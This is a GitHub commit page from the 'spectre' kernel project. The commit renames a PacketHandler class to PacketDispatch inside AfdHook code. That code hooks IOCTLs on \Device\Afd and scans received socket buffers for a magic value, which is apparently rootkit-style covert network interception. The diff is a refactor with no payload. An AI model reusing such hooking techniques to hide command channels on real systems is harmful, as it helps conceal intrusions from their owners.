Skip to content

Commit

Permalink
Packet Handler and Dispatch update.
Browse files Browse the repository at this point in the history
  • Loading branch information
D4stiny committed Mar 27, 2020
1 parent 483bda7 commit 69eadbf
Show file tree
Hide file tree
Showing 8 changed files with 769 additions and 694 deletions.
17 changes: 9 additions & 8 deletions spectre/spectre kernel/AfdHook.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
* COPYRIGHT Bill Demirkapi 2020
*/
#include "AfdHook.h"
#include <ntddstor.h>

/**
Initialize the AfdHook class, specifically the hooks on all FILE_OBJECTs with the device \Device\Afd.
Expand Down Expand Up @@ -57,7 +58,7 @@ AfdHook::HookAfdIoctl (

ULONG i;

PPACKET_HANDLER packetHandler;
PPACKET_DISPATCH packetDispatch;

irpStackLocation = IoGetCurrentIrpStackLocation(Irp);
deviceControlRequest = FALSE;
Expand Down Expand Up @@ -208,13 +209,13 @@ AfdHook::HookAfdIoctl (
//
// Allocate the packet handler.
//
packetHandler = new (NonPagedPool, AFD_PACKET_HANDLER_TAG) PacketHandler(fileObject,
DeviceObject,
recvInformation,
recvBuffer,
totalRecvLength,
magicOffset);
if (packetHandler->Process() == FALSE)
packetDispatch = new (NonPagedPool, AFD_PACKET_DISPATCH_TAG) PacketDispatch(fileObject,
DeviceObject,
recvInformation,
recvBuffer,
totalRecvLength,
magicOffset);
if (packetDispatch->Process() == FALSE)
{
DBGPRINT("AfdHook!HookAfdIoctl: Failed to process the packet.");
}
Expand Down
4 changes: 2 additions & 2 deletions spectre/spectre kernel/AfdHook.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
#pragma once
#include "common.h"
#include "FileObjHook.h"
#include "PacketHandler.h"
#include "PacketDispatch.h"

//
// Handles IOCTL messages from the \Device\Afd hook.
Expand Down Expand Up @@ -39,4 +39,4 @@ typedef class AfdHook

#define AFD_DEVICE_BASE_NAME L"Afd"
#define AFD_FILE_HOOK_TAG 'hFpS'
#define AFD_PACKET_HANDLER_TAG 'hPpS'
#define AFD_PACKET_DISPATCH_TAG 'dPpS'
Loading

0 comments on commit 69eadbf

Please sign in to comment.